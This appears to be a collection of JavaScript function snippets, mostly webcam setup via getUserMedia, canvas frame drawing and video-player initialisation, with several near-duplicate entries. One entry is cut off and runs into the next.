\\n\\t\\t\\n video.addEventListener('loadeddata', function () {\\n label_CurrenFrame.innerHTML = secondsToTimeString(video.currentTime);\\n label_VideoLength.innerHTML = secondsToTimeString(video.duration);\\n });\\n \\n\\t\\tprevious_frame.addEventListener('click', \\n\\t\\tfunction() {\\n\\t\\t\\tif (actual_frame === null) {\\n\\t\\t\\t\\treturn;\\n\\t\\t\\t}\\n\\t\\t\\tif (isUndefined(actual_frame)) {\\n\\t\\t\\t\\treturn;\\n\\t\\t\\t}\\n\\t\\t\\tif (actual_frame.second <= 0) {\\n\\t\\t\\t\\treturn;\\n\\t\\t\\t}\\n\\t\\t\\tvar value = Math.floor((actual_frame.second - 1) * 100 / video.duration);\\n\\t\\t\\tif (value >= 0 && value <= 100) {\\n\\t\\t\\t\\tactual_frame.second--;\\n\\t\\t\\t\\ttime_slider.value = value;\\n\\t\\t\\t\\tdrawFrame(actual_frame);\\n\\t\\t\\t}\\n\\t\\t},\\n\\t\\tfalse);\\n\\t\\t\\n\\t\\tnext_frame.addEventListener('click', \\n\\t\\tfunction() {\\n\\t\\t\\tif (actual_frame === null) {\\n\\t\\t\\t\\treturn;\\n\\t\\t\\t}\\n\\t\\t\\tif (video === null) {\\n\\t\\t\\t\\treturn;\\n\\t\\t\\t}\\n\\t\\t\\tif (isUndefined(actual_frame) || isUndefined(video) || isUndefined(video.duration)) {\\n\\t\\t\\t\\treturn;\\n\\t\\t\\t}\\n\\t\\t\\tif (actual_frame.second >= video.duration) {\\n\\t\\t\\t\\treturn;\\n\\t\\t\\t}\\n\\t\\t\\tvar value = Math.floor((actual_frame.second + 1) * 100 / video.duration);\\n\\t\\t\\tif (value >= 0 && value <= 100) {\\n\\t\\t\\t\\tactual_frame.second++;\\n\\t\\t\\t\\ttime_slider.value = value;\\n\\t\\t\\t\\tdrawFrame(actual_frame);\\n\\t\\t\\t}\\n\\t\\t},\\n\\t\\tfalse);\\n\\t\\t\\n\\t\\tdocument.getElementById('submit').addEventListener('click', \\n\\t\\tfunction() {\\n\\t\\t\\tupdateDescriptions();\\n\\t\\t\\tvar result = combineSegments();\\n\\t\\t\\tconsole.log(result);\\n\\t\\t\\t// send result to server!\\n \\t\\t\\tsocket.emit('ffmpeg', { 'Name' : SelectedFile.name, 'Data' : result });\\n\\t\\t\\tdocument.getElementById(\\\"create_progress\\\").innerHTML='Creating summary... 0%';\\n \\n\\t\\t\\tResetSegments();\\n\\t\\t},\\n\\t\\tfalse);\\n\\t\\t\\n\\t\\t// initialize player\\n\\t\\tinitPlayer();\\n\\t\\n\\t}\",\n \"function initialize() {\\n // will create HTML5 video element in staging area if not present\\n getDOMVideo();\\n isInitialized = true;\\n }\",\n \"async function setupWebcam() {\\n if (navigator.mediaDevices.getUserMedia) {\\n const stream = await navigator.mediaDevices.getUserMedia({\\n \\\"audio\\\": false,\\n \\\"video\\\": {\\n width: {\\n min: 640,\\n max: 640\\n },\\n height: {\\n min: 480,\\n max: 480\\n }\\n }\\n });\\n\\n webcam.srcObject = stream;\\n\\n return new Promise((resolve) => {\\n webcam.onloadedmetadata = () => {\\n webcam.width = stream.getVideoTracks()[0].getSettings().width;\\n webcam.height = stream.getVideoTracks()[0].getSettings().height;\\n canvas.width = stream.getVideoTracks()[0].getSettings().width;\\n canvas.height = stream.getVideoTracks()[0].getSettings().height;\\n\\n canvasDims = [canvas.height, canvas.width];\\n\\n resolve(webcam);\\n };\\n });\\n }\\n}\",\n \"function drawFrameOnCanvas(frame) {\\n\\t\\n\\t\\tvar reset = frame.reset;\\n\\t\\n canvas.height = video.videoHeight;\\n canvas.width = video.videoWidth;\\n\\t\\t// retrieve context for drawing\\n\\t\\tvar context = canvas.getContext(\\\"2d\\\");\\n\\t\\t\\t\\t\\n\\t\\t// Start by clearing the canvas\\n\\t\\tcontext.clearRect(0, 0, canvas.width, canvas.height);\\n\\t\\t\\n\\t\\t// draw frame according to time\\n\\t\\t\\n\\t\\tif (reset) {\\n\\t\\t\\treturn;\\n\\t\\t}\\n\\t\\t\\n\\t\\tcontext.drawImage(video, 0, 0, canvas.width, canvas.height);\\n \\n }\",\n \"function renderUIAfterFrameChange(videoNode) {\\n\\n const video = videoNode.data.videoCore\\n\\n /* Rendering the current time bar */\\n renderCurrentPlaybackBar(videoNode)\\n\\n /* Updating the canvas resolution */\\n alpha1 = canvas.width * video.videoHeight / canvas.height - video.videoWidth\\n alpha2 = video.videoWidth * canvas.height / canvas.width - video.videoHeight\\n\\n if (alpha1 < alpha2) {\\n canvas.width = video.videoWidth + alpha1\\n canvas.height = video.videoHeight\\n } else {\\n canvas.width = video.videoWidth\\n canvas.height = video.videoHeight + alpha2\\n }\\n\\n canvasRatio = canvas.width / canvas.height\\n videoRatio = video.videoWidth / video.videoHeight\\n\\n currentVideoDurationLabel.innerText = formatTimeFromSeconds((\\n videoNode.data.metadata.baseDuration - videoNode.data.metadata.startTime + video.currentTime\\n ).toFixed(2))\\n \\n if (videoNode.data.metadata.ratio == 'fit') {\\n if (window.currentRatio == 'strech') {\\n document.querySelector('.toogle-fit').click()\\n }\\n context.drawImage(\\n video, canvas.width / 2 - videoRatio * canvas.height / 2, 0, videoRatio * canvas.height, canvas.height\\n ) \\n } else if (videoNode.data.metadata.ratio == 'strech') {\\n if (window.currentRatio === 'fit') {\\n document.querySelector('.toogle-strech').click()\\n }\\n context.drawImage(\\n video, 0, 0, canvas.width, canvas.height\\n )\\n }\\n}\",\n \"function init() {\\n\\t\\t\\tconstructVideoPlayerContent(elems.container);\\n\\t\\t\\tshowControls();\\n\\t\\t\\t_.event(elems.btnBigPlay, 'click', play);\\n\\t\\t\\t_.event(elems.buttons.play, 'click', playPause);\\n\\t\\t\\t_.event(elems.video, 'click', pause);\\n\\t\\t\\t_.event(elems.buttons.volume, 'click', mute);\\n\\t\\t\\t_.event(elems.buttons.fullscreen, 'click', fullscreen);\\n\\t\\t\\t_.event(elems.video, 'loadedmetadata', function(e) {\\n\\t\\t\\t\\tplaybackRate(opts.speed);\\n\\t\\t\\t\\tvideoProgress = new Range(opts.progress / elems.video.duration, elems.ranges.video, {\\n\\t\\t\\t\\t\\tonDrop: (pct) => progress(pct, true),\\n\\t\\t\\t\\t});\\n\\t\\t\\t\\tvolumeSlider = new Range(opts.volume, elems.ranges.volume, {\\n\\t\\t\\t\\t\\tonDrag: volume,\\n\\t\\t\\t\\t});\\n\\t\\t\\t\\tvolume(opts.volume);\\n\\t\\t\\t\\tprogress(opts.progress);\\n\\t\\t\\t\\ttimestamp(0, elems.video.duration);\\n\\t\\t\\t\\tif (opts.autoplay) play();\\n\\t\\t\\t});\\n\\t\\t\\t_.event(elems.video, 'timeupdate', progUpdate);\\n\\t\\t\\t_.event(elems.main, 'mousemove', showControls);\\n\\t\\t\\t_.event(elems.controls, 'mouseenter', () => showControls(true));\\n\\t\\t\\t_.event(elems.controls, 'mouseleave', () => showControls(false));\\n\\t\\t\\t_.event(window, 'keyup', handleKeyPress);\\n\\t\\t\\t_.event(document, 'fullscreenchange', handleFullscreenChange); // PREFIXES WHY\\n\\t\\t\\t_.event(document, 'msfullscreenchange', handleFullscreenChange);\\n\\t\\t\\t_.event(document, 'mozfullscreenchange', handleFullscreenChange);\\n\\t\\t\\t_.event(document, 'webkitfullscreenchange', handleFullscreenChange);\\n\\n\\t\\t\\tif (opts.fullscreen) fullscreen(true);\\n\\t\\t\\telems.video.src = opts.src;\\n\\t\\t}\",\n \"function setup() {\\n // set up canvas\\n let canvas = createCanvas(canvasW, canvasH);\\n canvas.parent('canvas');\\n\\n}\",\n \"init() {\\n this.isCanvasSupported() ? this.ctx = this.canvas.getContext('2d') : false;\\n\\n if (this.ctx) {\\n this.playBtn.addEventListener('click', () => {\\n this.playBtn.classList.add('active');\\n this.startTheGame();\\n });\\n\\n this.retryBtn.addEventListener('click', () => {\\n this.reset();\\n this.retryBtn.classList.add('inactive');\\n this.startTheGame();\\n });\\n }\\n }\",\n \"initBoard() {\\n this.canvas = document.createElement('canvas');\\n this.ctx = this.canvas.getContext('2d');\\n this.width = this.canvas.width = this.tileWidth * this.columns;\\n this.height = this.canvas.height = this.tileHeight * this.rows;\\n this.canvas.style.border = \\\"none\\\";\\n this.initStage();\\n }\",\n \"function initialize() {\\n webcamElement = document.getElementById('webcam');\\n canvasElement = document.getElementById('canvas');\\n webcam = new Webcam(webcamElement, 'user', canvasElement);\\n snapButtonElement = document.getElementById('capture');\\n startButtonElement = document.getElementById('retake');\\n}\",\n \"function videoReady() { }\",\n \"setUpCanvas(){\\n var w = window.innerWidth;\\n var h = window.innerHeight;\\n this.$canvas = $(` {\n video.onloadedmetadata = () => {\n resolve(video)\n }\n })\n}","function cameraSetup(){\n\t// Get access to the camera!\n\tif('mediaDevices' in navigator && 'getUserMedia' in navigator.mediaDevices) {\n\t\t// Not adding `{ audio: true }` since we only want video now\n\t\tnavigator.mediaDevices.getUserMedia({\n\t\t\t//Kamera Constrains:\n\t\t\t\n\t\t\tvideo: \n\t\t\t{\n\t\t\t\twidth: {ideal: 50},\n\t\t\t\theight: {ideal: 50},\n\t\t\t\tfacingMode: ['environment']\n\t\t\t}\n\t\t\t}).then(function(stream) {\n\t\t\t\tstreamVideo = stream;\n\t\t\t\tcameraOk = true;\n\t\t\t\tvideo.srcObject = stream;\n\t\t\t\tvideo.play();\n\n\t\t\t\tvar track = stream.getVideoTracks()[0];\n\t\t\t\t//Taschenlampe einschalten:\n\t\t\t\tconst imageCapture = new ImageCapture(track)\n\t\t\t\tconst photoCapabilities = imageCapture.getPhotoCapabilities().then(() => {\n\t\t\t\t\ttrack.applyConstraints({\n\t\t\t\t\t\tadvanced: [{torch: true}]\n\t\t\t\t\t});\n\t\t\t\t});\n\n\n\n\t\t\t});\n\t\t}\n\n\n\t}","async function setupCamera() {\n const video = document.getElementById('video');\n const canvas = document.getElementById('canvas');\n if (!video || !canvas) return null;\n\n let msg = '';\n log('Setting up camera');\n // setup webcam. note that navigator.mediaDevices requires that page is accessed via https\n if (!navigator.mediaDevices) {\n log('Camera Error: access not supported');\n return null;\n }\n let stream;\n const constraints = {\n audio: false,\n video: { facingMode: 'user', resizeMode: 'crop-and-scale' },\n };\n if (window.innerWidth > window.innerHeight) constraints.video.width = { ideal: window.innerWidth };\n else constraints.video.height = { ideal: window.innerHeight };\n try {\n stream = await navigator.mediaDevices.getUserMedia(constraints);\n } catch (err) {\n if (err.name === 'PermissionDeniedError' || err.name === 'NotAllowedError') msg = 'camera permission denied';\n else if (err.name === 'SourceUnavailableError') msg = 'camera not available';\n log(`Camera Error: ${msg}: ${err.message || err}`);\n return null;\n }\n // @ts-ignore\n if (stream) video.srcObject = stream;\n else {\n log('Camera Error: stream empty');\n return null;\n }\n const track = stream.getVideoTracks()[0];\n const settings = track.getSettings();\n if (settings.deviceId) delete settings.deviceId;\n if (settings.groupId) delete settings.groupId;\n if (settings.aspectRatio) settings.aspectRatio = Math.trunc(100 * settings.aspectRatio) / 100;\n log(`Camera active: ${track.label}`); // ${str(constraints)}\n log(`Camera settings: ${str(settings)}`);\n canvas.addEventListener('click', () => {\n // @ts-ignore\n if (video && video.readyState >= 2) {\n // @ts-ignore\n if (video.paused) {\n // @ts-ignore\n video.play();\n detectVideo(video, canvas);\n } else {\n // @ts-ignore\n video.pause();\n }\n }\n // @ts-ignore\n log(`Camera state: ${video.paused ? 'paused' : 'playing'}`);\n });\n return new Promise((resolve) => {\n video.onloadeddata = async () => {\n // @ts-ignore\n canvas.width = video.videoWidth;\n // @ts-ignore\n canvas.height = video.videoHeight;\n // @ts-ignore\n video.play();\n detectVideo(video, canvas);\n resolve(true);\n };\n });\n}","async function setupCamera() {\n if (!navigator.mediaDevices || !navigator.mediaDevices.getUserMedia) {\n throw new Error(\n 'Browser API navigator.mediaDevices.getUserMedia not available');\n }\n\n const video = document.getElementById('video');\n video.width = videoWidth;\n video.height = videoHeight;\n\n const mobile = isMobile();\n const stream = await navigator.mediaDevices.getUserMedia({\n 'audio': false,\n 'video': {\n facingMode: 'user',\n width: mobile ? undefined : videoWidth,\n height: mobile ? undefined : videoHeight,\n },\n });\n video.srcObject = stream;\n\n return new Promise((resolve) => {\n video.onloadedmetadata = () => {\n resolve(video);\n };\n });\n}","async function setupCamera() {\n const video = document.getElementById('video');\n video.width = maxVideoSize;\n video.height = maxVideoSize;\n\n if (navigator.mediaDevices && navigator.mediaDevices.getUserMedia) {\n const mobile = isMobile();\n const stream = await navigator.mediaDevices.getUserMedia({\n 'audio': false,\n 'video': {\n facingMode: 'environment',\n width: mobile ? undefined : maxVideoSize,\n height: mobile ? undefined: maxVideoSize}\n });\n video.srcObject = stream;\n\n return new Promise(resolve => {\n video.onloadedmetadata = () => {\n resolve(video);\n };\n });\n } else {\n const errorMessage = \"This browser does not support video capture, or this device does not have a camera\";\n alert(errorMessage);\n return Promise.reject(errorMessage);\n }\n}","async function setupCamera() {\n if (!navigator.mediaDevices || !navigator.mediaDevices.getUserMedia) {\n throw new Error(\n 'Browser API navigator.mediaDevices.getUserMedia not available');\n }\n\n const video = document.getElementById('webcam-video');\n video.width = videoWidth;\n video.height = videoHeight;\n\n // const mobile = isMobile();\n const stream = await navigator.mediaDevices.getUserMedia({\n 'audio': false,\n 'video': {\n facingMode: 'user',\n width: videoWidth,\n height: videoHeight,\n },\n });\n video.srcObject = stream;\n\n return new Promise((resolve) => {\n video.onloadedmetadata = () => {\n resolve(video);\n };\n });\n}","async function setupCamera() {\n const video = document.getElementById('video');\n video.width = maxVideoSize;\n video.height = maxVideoSize;\n\n if (navigator.mediaDevices && navigator.mediaDevices.getUserMedia) {\n const mobile = isMobile();\n const stream = await navigator.mediaDevices.getUserMedia({\n 'audio': false,\n 'video': {\n facingMode: 'user',\n width: mobile ? undefined : maxVideoSize,\n height: mobile ? undefined: maxVideoSize}\n });\n video.srcObject = stream;\n\n return new Promise(resolve => {\n video.onloadedmetadata = () => {\n resolve(video);\n };\n });\n } else {\n const errorMessage = \"This browser does not support video capture, or this device does not have a camera\";\n alert(errorMessage);\n return Promise.reject(errorMessage);\n }\n}","function startCamera() {\n\n let constraints = {\n audio: false,\n video: {\n width: 640,\n height: 480,\n frameRate: 30\n }\n }\n\n video.setAttribute('width', 640);\n video.setAttribute('height', 480);\n video.setAttribute('autoplay', '');\n video.setAttribute('muted', '');\n video.setAttribute('playsinline', '');\n\n // Start video playback once the camera was fetched.\n function onStreamFetched(mediaStream) {\n video.srcObject = mediaStream;\n // Check whether we know the video dimensions yet, if so, start BRFv4.\n function onStreamDimensionsAvailable() {\n if (video.videoWidth === 0) {\n setTimeout(onStreamDimensionsAvailable, 100);\n } else {\n\n }\n }\n onStreamDimensionsAvailable();\n }\n\n window.navigator.mediaDevices.getUserMedia(constraints).then(onStreamFetched).catch(function() {\n alert(\"No camera available.\");\n });\n}","function startvideo() {\n webcam.style.width = document.width + 'px';\n webcam.style.height = document.height + 'px';\n webcam.setAttribute('autoplay', '');\n webcam.setAttribute('muted', '');\n\twebcam.setAttribute('playsinline', '');\n\n var constraints = {\n audio: false,\n video: {\n facingMode: 'user'\n }\n }\n \tnavigator.mediaDevices.getUserMedia(constraints).then(function success(stream) {\n webcam.srcObject = stream;\n initImages();\n animate();\n });\n}","function loadCamera() {\n // setup camera capture\n videoInput = createCapture(VIDEO);\n videoInput.size(400, 300);\n videoInput.position(0, 0);\n videoInput.id(\"v\");\n var mv = document.getElementById(\"v\");\n mv.muted = true;\n}","async function setupCamera() {\r\n if (!navigator.mediaDevices || !navigator.mediaDevices.getUserMedia) {\r\n throw new Error(\r\n 'Browser API navigator.mediaDevices.getUserMedia not available');\r\n }\r\n\r\n const camera = document.getElementById('camera');\r\n camera.width = cameraWidth;\r\n camera.height = cameraHeight;\r\n\r\n const mobile = isMobile();\r\n\r\n const stream = await navigator.mediaDevices.getUserMedia({\r\n 'audio': false,\r\n 'video': {\r\n facingMode: 'user',\r\n width: mobile ? undefined : cameraWidth,\r\n height: mobile ? undefined : cameraHeight,\r\n },\r\n });\r\n camera.srcObject = stream;\r\n\r\n return new Promise((resolve) => {\r\n camera.onloadedmetadata = () => {\r\n resolve(camera);\r\n };\r\n });\r\n}","async start() {\n if (this.webcamConfig.facingMode) {\n util.assert((this.webcamConfig.facingMode === 'user') ||\n (this.webcamConfig.facingMode === 'environment'), () => `Invalid webcam facing mode: ${this.webcamConfig.facingMode}. ` +\n `Please provide 'user' or 'environment'`);\n }\n try {\n this.stream = await navigator.mediaDevices.getUserMedia({\n video: {\n deviceId: this.webcamConfig.deviceId,\n facingMode: this.webcamConfig.facingMode ?\n this.webcamConfig.facingMode :\n 'user',\n width: this.webcamVideoElement.width,\n height: this.webcamVideoElement.height\n }\n });\n }\n catch (e) {\n // Modify the error message but leave the stack trace intact\n e.message = `Error thrown while initializing video stream: ${e.message}`;\n throw e;\n }\n if (!this.stream) {\n throw new Error('Could not obtain video from webcam.');\n }\n // Older browsers may not have srcObject\n try {\n this.webcamVideoElement.srcObject = this.stream;\n }\n catch (error) {\n console.log(error);\n this.webcamVideoElement.src = window.URL.createObjectURL(this.stream);\n }\n // Start the webcam video stream\n this.webcamVideoElement.play();\n this.isClosed = false;\n return new Promise(resolve => {\n // Add event listener to make sure the webcam has been fully initialized.\n this.webcamVideoElement.onloadedmetadata = () => {\n resolve();\n };\n });\n }","function cameraStart() {\n if(selfie === true){\n cameraView.classList.replace(\"user\", \"environment\");\n cameraOutput.classList.replace(\"user\", \"environment\");\n cameraSensor.classList.replace(\"user\", \"environment\");\n constraints = rearConstraints;\n selfie = false;\n }\n else{\n cameraView.classList.replace(\"environment\", \"user\");\n cameraOutput.classList.replace(\"environment\", \"user\");\n cameraSensor.classList.replace(\"environment\", \"user\");\n constraints = userConstraints;\n selfie = true;\n }\n\n navigator.mediaDevices\n .getUserMedia(constraints)\n .then(function(stream) {\n track = stream.getTracks()[0];\n cameraView.srcObject = stream;\n })\n .catch(function(error) {\n console.error(\"Oops. Something is broken.\", error);\n });\n}","function cameraStartFront() { \n frontCamera = true\n var constraints = { video: { facingMode: \"user\" }, audio: false };\n navigator.mediaDevices\n .getUserMedia(constraints)\n .then(function(stream) {\n track = stream.getTracks()[0];\n cameraView.srcObject = stream;\n })\n .catch(function(error) {\n console.error(\"Oops. Something is broken.\", error);\n });\n}","function cameraStart() {\n cameraView = document.querySelector(\"#webcam\");\n navigator.mediaDevices\n .getUserMedia(constraints)\n .then(function(stream) {\n cameraView.srcObject = stream;\n })\n .catch(function(error) {\n console.error(\"Oops. Something is broken.\", error);\n });\n}","function cam() {\n snapBtn.addEventListener('click', enroll);\n // detectButton.addEventListener('click', detect);\n navigator.mediaDevices.getUserMedia({\n audio: false,\n video: {\n width: 500,\n height: 500\n }\n })\n .then(stream => {\n video.srcObject = stream;\n video.onloadedmetadata = video.play()\n })\n .catch(err => console.error(err));\n}","_switchCamera() {\n if (this.isVideoTrack() && this.videoType === _service_RTC_VideoType__WEBPACK_IMPORTED_MODULE_10___default.a.CAMERA && typeof this.track._switchCamera === 'function') {\n this.track._switchCamera();\n\n this._facingMode = this._facingMode === _service_RTC_CameraFacingMode__WEBPACK_IMPORTED_MODULE_7___default.a.ENVIRONMENT ? _service_RTC_CameraFacingMode__WEBPACK_IMPORTED_MODULE_7___default.a.USER : _service_RTC_CameraFacingMode__WEBPACK_IMPORTED_MODULE_7___default.a.ENVIRONMENT;\n }\n }","function getCamera(){\n document.getElementById('ownGifs').style.display=\"none\"\n document.getElementById('createGif').style.display=\"none\";\n document.getElementById('camera').style.display=\"inline-block\";\n var video = document.querySelector('video');\n stream = navigator.mediaDevices.getUserMedia(constraints)\n .then(function(mediaStream) {\n video.srcObject = mediaStream;\n video.onloadedmetadata = function(e) {\n video.play(); // Starting reproduce video cam\n };\n recorder = RecordRTC(mediaStream, { \n // disable logs\n disableLogs: true,\n type: \"gif\",\n frameRate: 1,\n width: 360,\n hidden: 240,\n quality: 10});\n })\n .catch(function(err) { \n\n }); // always check for errors at the end.\n\n \n}","async function setupCamera (config) {\n const { videoWidth, videoHeight } = config\n if (!navigator.mediaDevices || !navigator.mediaDevices.getUserMedia) {\n throw new Error(\n 'Browser API navigator.mediaDevices.getUserMedia not available'\n )\n }\n\n const video = document.getElementById('video')\n video.width = videoWidth\n video.height = videoHeight\n\n const mobile = isMobile()\n const stream = await navigator.mediaDevices.getUserMedia({\n audio: false,\n video: {\n facingMode: 'user',\n width: mobile ? undefined : videoWidth,\n height: mobile ? undefined : videoHeight\n }\n })\n video.srcObject = stream\n\n return new Promise(resolve => {\n video.onloadedmetadata = () => {\n resolve(video)\n }\n })\n}","function cameraStart() {\r\n navigator.mediaDevices\r\n .getUserMedia(constraints)\r\n .then(function(stream) {\r\n track = stream.getTracks()[0];\r\n cameraView.srcObject = stream;\r\n })\r\n .catch(function(error) {\r\n console.error(\"Oops. Something is broken.\", error);\r\n });\r\n}","function cameraStart() {\r\n navigator.mediaDevices\r\n .getUserMedia(constraints)\r\n .then(function(stream) {\r\n track = stream.getTracks()[0];\r\n cameraView.srcObject = stream;\r\n })\r\n .catch(function(error) {\r\n console.error(\"Oops. Something is broken.\", error);\r\n });\r\n}","async start() {\n if (this.webcamConfig.facingMode) {\n _tensorflow_tfjs_core__WEBPACK_IMPORTED_MODULE_0__[\"util\"].assert((this.webcamConfig.facingMode === 'user') ||\n (this.webcamConfig.facingMode === 'environment'), () => `Invalid webcam facing mode: ${this.webcamConfig.facingMode}. ` +\n `Please provide 'user' or 'environment'`);\n }\n try {\n this.stream = await navigator.mediaDevices.getUserMedia({\n video: {\n deviceId: this.webcamConfig.deviceId,\n facingMode: this.webcamConfig.facingMode ?\n this.webcamConfig.facingMode :\n 'user',\n width: this.webcamVideoElement.width,\n height: this.webcamVideoElement.height\n }\n });\n }\n catch (e) {\n // Modify the error message but leave the stack trace intact\n e.message = `Error thrown while initializing video stream: ${e.message}`;\n throw e;\n }\n if (!this.stream) {\n throw new Error('Could not obtain video from webcam.');\n }\n // Older browsers may not have srcObject\n try {\n this.webcamVideoElement.srcObject = this.stream;\n }\n catch (error) {\n console.log(error);\n this.webcamVideoElement.src = window.URL.createObjectURL(this.stream);\n }\n // Start the webcam video stream\n this.webcamVideoElement.play();\n this.isClosed = false;\n return new Promise(resolve => {\n // Add event listener to make sure the webcam has been fully initialized.\n this.webcamVideoElement.onloadedmetadata = () => {\n resolve();\n };\n });\n }","function cameraStart() {\n navigator.mediaDevices\n .getUserMedia(constraints)\n .then(function (stream) {\n track = stream.getTracks()[0];\n cameraView.srcObject = stream;\n })\n .catch(function (error) {\n console.error(\"Oops. Something is broken.\", error);\n });\n}","function startVideo(){\n //gets the webcam, takes object as the first param, video is key, empty object as param\n navigator.getUserMedia(\n {video: {}},\n //whats coming from our webcam, setting it as source\n stream =>video.srcObject = stream,\n err => console.log(err))\n}","function cameraStart() {\n navigator.mediaDevices\n .getUserMedia(constraints)\n .then(function(stream) {\n track = stream.getTracks()[0];\n cameraView.srcObject = stream;\n })\n .catch(function(error) {\n console.error(\"Oops. Something is broken.\", error);\n });\n}","function cameraStart() {\n navigator.mediaDevices\n .getUserMedia(constraints)\n .then(function(stream) {\n track = stream.getTracks()[0];\n cameraView.srcObject = stream;\n })\n .catch(function(error) {\n console.error(\"Oops. Something is broken.\", error);\n });\n}","function cameraStart() {\n navigator.mediaDevices\n .getUserMedia(constraints)\n .then(function(stream) {\n track = stream.getTracks()[0];\n cameraView.srcObject = stream;\n })\n .catch(function(error) {\n console.error(\"Oops. Something is broken.\", error);\n });\n}","function cameraStart() {\n navigator.mediaDevices\n .getUserMedia(constraints)\n .then(function(stream) {\n track = stream.getTracks()[0];\n cameraView.srcObject = stream;\n })\n .catch(function(error) {\n console.error(\"Oops. Something is broken.\", error);\n });\n}","function setupCamera() {\n camera = new PerspectiveCamera(35, config.Screen.RATIO, 0.1, 300);\n camera.position.set(0, 8, 20);\n //camera.rotation.set(0,0,0);\n //camera.lookAt(player.position);\n console.log(\"Finished setting up Camera...\"\n + \"with x\" + camera.rotation.x + \" y:\" + camera.rotation.y + \" z:\" + camera.rotation.z);\n }","async function setupCamera() {\n let depthStream = await DepthCamera.getDepthStream();\n const depthVideo = document.getElementById('depthStream');\n depthVideo.srcObject = depthStream;\n return DepthCamera.getCameraCalibration(depthStream);\n}","function startVideo() {\n navigator.getUserMedia(\n { \n video: \n {\n //the ideal part is imp, it helps to get 16:9 ratio also\n height : { ideal : window.innerHeight } ,\n width : { ideal : window.innerWidth }\n } \n } ,\n stream => video.srcObject = stream,\n err => console.error(err)\n ) \n}","function cameraStart() {\n //the getUserMedia method to access the camera\n navigator.mediaDevices\n .getUserMedia(constraints)\n .then(function(stream) {\n track = stream.getTracks()[0];\n cameraView.srcObject = track;\n })\n .catch(function(error) {\n console.error(\"Oops. Something is horribly broken.\", error);\n });\n}","function cameraStart() {\n var flagCamera = true;\n navigator.mediaDevices\n .getUserMedia(constraints)\n .then(function (stream) {\n track = stream.getTracks()[0];\n cameraView.srcObject = stream;\n localStream = track;\n })\n .catch(function (error) {\n flagCamera = false;\n console.error(\"Oops. Something is broken.\", error);\n }).then(function () {\n if (flagCamera)\n visibleC();\n });\n }","_initVideoStream () {\n const getUserMedia = navigator.getUserMedia || navigator.webkitGetUserMedia ||\n navigator.mozGetUserMedia || navigator.msGetUserMedia\n if (!getUserMedia) {\n throw new Error('Webcam feature not supported! :(')\n }\n\n getUserMedia.call(navigator, { video: true }, (stream) => {\n this._stream = stream\n this._video.onloadedmetadata = this._onVideoReady.bind(this)\n this._video.src = window.URL.createObjectURL(stream)\n }, (err) => {\n throw err\n })\n }","function getVideo() {// getUserMedia must have MediaStreamConstraints\n navigator.mediaDevices.getUserMedia({ video: true, audio: false}) // returns promise\n .then(MediaStream => {\n console.log(MediaStream); // MediaStream is an object\n video.srcObject = MediaStream; // video.srcObject is different to teacher video\n video.play();\n }).catch(err => {\n console.error(`Oh no!! You need to allow the site to use your webcam, ${err}`);\n alert(`Please reload and allow the site to access your webcam`);\n })\n}","function startVideo() {\n navigator.getUserMedia(\n { video: {} },\n stream => video.srcObject = stream,\n error => console.error(error)\n )\n}","function callUser(user) {\n getCam()\n .then(stream => {\n const video = document.getElementById(\"selfview\");\n try {\n video.srcObject = stream;\n } catch (error) {\n video.src = URL.createObjectURL(stream);\n }\n // document.getElementById(\"selfview\").srcObject = stream;\n\n /*if (window.URL) {\n document.getElementById(\"selfview\").src = window.URL.createObjectURL(stream);\n } else {\n document.getElementById(\"selfview\").src = stream;\n }*/\n\n toggleEndCallButton();\n caller.addStream(stream);\n localUserMedia = stream;\n caller.createOffer().then(function(desc) {\n caller.setLocalDescription(new RTCSessionDescription(desc));\n channel.trigger(\"client-sdp\", {\n \"sdp\": desc,\n \"room\": user,\n \"from\": id\n });\n room = user;\n });\n\n })\n .catch(error => {\n console.log('an error occured', error);\n })\n}","function setCamera()\n{\n var v = 0.0025; // camera tool speed\n var r = 950.0; // camera to origin distance\n \n var alphaX = v * camRotationX * Math.PI;\n var alphaY = v * camRotationY * Math.PI;\n \n alphaX = Math.max(alphaX, -0.5 * Math.PI)\n alphaX = Math.min(alphaX, 0.0)\n \n var sX = Math.sin(alphaX);\n var cX = Math.cos(alphaX);\n \n var sY = Math.sin(alphaY);\n var cY = Math.cos(alphaY);\n \n camera.position.x = r * cX * sY;\n camera.position.y = r * (-sX);\n camera.position.z = r * cX * cY;\n \n // aim the camera at the origin\n camera.lookAt(new THREE.Vector3(0,0,0));\n}","function startCamera() {\n Webcam.set({\n width: 320,\n height: 240,\n image_format: 'jpeg',\n jpeg_quality: 90\n });\n Webcam.attach('#my_camera');\n}","async function cameraStart() {\n\n await faceapi.nets.faceLandmark68TinyNet.loadFromUri(\"models\");\n await faceapi.nets.tinyFaceDetector.loadFromUri('models')\n\n navigator.mediaDevices\n .getUserMedia(constraints)\n .then(function(stream) {\n track = stream.getTracks()[0];\n cameraView.srcObject = stream;\n })\n .catch(function(error) {\n console.error(\"Oops. Something is broken.\", error);\n });\n}","function captureCamera(capture) {\r\n navigator.mediaDevices.getUserMedia({\r\n video: true\r\n })\r\n .then(function (stream) {\r\n myvideo.srcObject = stream;\r\n myvideo.play();\r\n capture && capture(stream);\r\n })\r\n .catch(function (err) {\r\n console.error(err);\r\n alert(\"Ups, we need your camera! Please refresh the page and start again\");\r\n });\r\n}","async function setupCam() {\n navigator.mediaDevices.getUserMedia({\n video: true\n }).then(mediaStream => {\n vid.srcObject = mediaStream;\n }).catch((error) => {\n console.warn(error);\n });\n await knn.load();\n setTimeout(loop, 50);\n}","function getVideo() {\n\tnavigator.mediaDevices.getUserMedia({video: true, audio: false})\n\t\t.then(localMediaStream => {\n\t\t\tconsole.log(localMediaStream);\n\t\t\tvideo.src = window.URL.createObjectURL(localMediaStream);\n\t\t\t//MediaStream is an object and needs to be changed to be a URL\n\t\t\tvideo.play();\n\t\t\t//this updates so that the camera shouldn't just be one frame\n\t\t\t//if inspected, blob is the video being caught\n\t\t})\n\t\t.catch(err => {\n\t\t\tconsole.error(`WELP ERROR`, err);\n\t\t});\n}","function setupCamera() {\n // const camera = new PerspectiveCamera(75, window.innerWidth / window.innerHeight, 0.1, 1000);\n const camera = new PerspectiveCamera(45, window.innerWidth / window.innerHeight, 0.1, 1000);\n camera.position.set(0, -distance,height / 2);\n camera.up = new Vector3(0,0,1);\n camera.lookAt(new Vector3(0, 0, height / 2));\n return camera;\n}","async function setupWebcam() {\n if (navigator.mediaDevices.getUserMedia) {\n const stream = await navigator.mediaDevices.getUserMedia({\n \"audio\": false,\n \"video\": {\n width: {\n min: 640,\n max: 640\n },\n height: {\n min: 480,\n max: 480\n }\n }\n });\n\n webcam.srcObject = stream;\n\n return new 